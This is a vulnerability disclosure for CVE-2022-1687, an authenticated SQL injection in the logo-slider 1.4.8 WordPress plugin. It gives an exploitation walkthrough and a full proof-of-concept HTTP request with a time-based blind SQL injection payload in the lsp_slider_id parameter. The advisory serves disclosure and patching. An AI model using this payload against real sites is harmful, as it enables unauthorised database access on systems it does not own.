logo-slider 1.4.8 WordPress plugin SQL injection
Vulnerability Metadata
| Key | Value |
|---|---|
| Date of Disclosure | May 09 2022 |
| Affected Software | logo-slider |
| Affected Software Type | WordPress plugin |
| Version | 1.4.8 |
| Weakness | SQL Injection |
| CWE ID | CWE-89 |
| CVE ID | CVE-2022-1687 |
| CVSS 3.x Base Score | 2.7 |
| CVSS 2.0 Base Score | 4.0 |
| Reporter | Daniel Krohmer, Shi Chen |
| Reporter Contact | daniel.krohmer@iese.fraunhofer.de |
| Link to Affected Software | https://wordpress.org/plugins/logo-slider |
| Link to Vulnerability DB | https://nvd.nist.gov/vuln/detail/CVE-2022-1687 |
Vulnerability Description
The lsp_slider_id query parameter in logo-slider 1.4.8 is vulnerable to SQL injection. An authenticated attacker may abuse the manage_image page of the plugin to craft a malicious GET request.
Exploitation Guide
Login as admin user. This attack requires at least admin privileges.
Go to Logo Slider and hit Manage Sliders.
Choose an arbitrary Slider Name and click on Add Slider.
Click on Manage Images.
Clicking the previous button triggers the vulnerable request. lsp_slider_id is the vulnerable query parameter
A POC may look like the following request:
In the code, the vulnerability is triggered by unsanitized user input of lsp_slider_id at line 11 in ./ls_manage_images.php. The final database query is called at line 21.
Exploit Payload
Please note that cookies and nonces need to be changed according to your user settings, otherwise the exploit will not work. The SQL injection can be triggered by sending the request below.
GET /wp-admin/admin.php?page=manage_images&lsp_slider_id=1+AND+(SELECT+7741+FROM+(SELECT(SLEEP(5)))hlAf) HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/admin.php?page=manage_sliders&lsp_msg=add_slider_success
DNT: 1
Connection: close
Cookie: wordpress_86a9106ae65537651a8e456835b316ab=admin%7C1651732633%7CxsSONzrCctrhMqyZUQR8EbqTK3EOpf3pWIJjM81IHcL%7C7684c7b240790adb844456726bfd5d4df324f9dbac1c21806daf58971b45ded0; PHPSESSID=ggbg3ps61166g6trc1gqkkj2cf; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=admin%7C1651732633%7CxsSONzrCctrhMqyZUQR8EbqTK3EOpf3pWIJjM81IHcL%7C6631720de07112fe798b7ecb230b6037e7fdf4d8bf948c694845165da8dcfaed; wp-settings-1=editor%3Dtinymce%26amplibraryContent%3Dbrowse%26wd_ads_manage_groups_tab%3Dpop; wp-settings-time-1=1651559834
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1